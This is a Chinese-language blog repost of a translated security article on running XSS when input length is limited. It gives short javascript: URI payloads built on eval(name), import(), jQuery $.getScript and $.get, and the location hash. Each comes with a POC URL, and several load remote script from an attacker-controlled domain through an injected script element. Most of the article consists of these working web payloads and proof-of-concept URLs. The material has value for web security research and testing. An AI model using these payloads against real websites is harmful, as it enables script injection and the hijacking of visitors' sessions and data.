输入长度受限情况下的 XSS 攻击

2019-04-04 约 1305 字 预计阅读 3 分钟

声明:本文 【输入长度受限情况下的 XSS 攻击】 由作者 angel010 于 2018-12-07 09:18:00 首发 先知社区 曾经 浏览数 4860 次

感谢 angel010 的辛苦付出!

在很多攻击和测试下执行JavaScript时会发现无法alert,因为alert限制了字符数。研究人员在HackerOne上看到一个相同情况的报告,该作者虽然成功执行了任意JavaScript代码,但是过程比较复杂而且需要用户交互。因此研究人员写了本文。

作者认为XSS的POC应该是从攻击者所控制的域名来加载外部JavaScript,本文讲述如何以最少的字符加载外部JavaScript。

首先假设payload在href属性中,也就是说payload被限制在32个字符以内:

<a href="<INJECTION>">Click</a>

1. eval(name)

这可能是可以执行任意代码的最短payload了。Name属性可以分配任何内容,而且是继承跨域的。这样攻击者就可以在没有任何限制的情况下执行payload了,如果页面重写了name属性的情况除外。
POC:

https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>','_self')</script>

Payload长度:21
'javascript:eval(name)'.length==21

2. import

这是取回外部JavaScript的最短payload之一,但只工作在基于chromium的浏览器上。
POC:

https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>

Payload长度:24
'javascript:import(/\㎠.㎺/)'.length==24

3. $.getScript

这是一个加载外部JavaScript的著名jQuery函数。该脚本取回后是在全局环境下执行的,就像在script标签中加载一样。但这种情况需要在一个有漏洞的页面中已经加载了jQuery。
POC:

https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>

Payload长度:29
'javascript:$.getScript(/\㎠.㎺/)'.length==29

4. $.get

如果返回content-type被设置为text/javascript,就可以加载和执行外部JavaScript。该漏洞只在jQuery 3.00及以前版本有效。
POC:

https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>

Payload长度:23
'javascript:$.get(/\㎠.㎺/)'.length==23

5. 使用已有的elements和properties

我们很容易就可以在HTML元素和JavaScript属性中找到用户部分或完全控制的内容。虽然这需要进行仔细地检查,但对输入长度受限的情况下利用XSS是非常有帮助的。比如,很多Ajax驱动的应用会保存hash identifier来进行导航等。

如果页面存储这样的哈希值:
const hash = document.location.hash;

可以用这些的脚本来加载:
eval("'"+hash)

POC:

https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)

Payload长度:25

`javascript:eval("'"+hash)`.length==25

还有很多其他的方法可以用来加载外部JavaScript,比如:

  • 其他库;
  • 使用不同的选择器;
  • 使用DOM特性等。

比如,在点击了JavaScript URI后,Firefox会导航navigation。为了预防navigation,需要引入一个error。可以在每个payload后计入;q这样的内容,比如:

javascript:eval(name);q
// halts navigation because q is not defined
//因为q没有被定义,因此导航会被终止

最后,需要注意的是也可以在JavaScript URL环境中使用URL编码,比如:

<a href="javascript:x='%27,alert(1)//">Click</a>

POC:

https://cm2.pw/?xss=<a href="javascript:x='%2527,alert(1)//">Click</a>


https://blog.cm2.pw/length-restricted-xss/

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now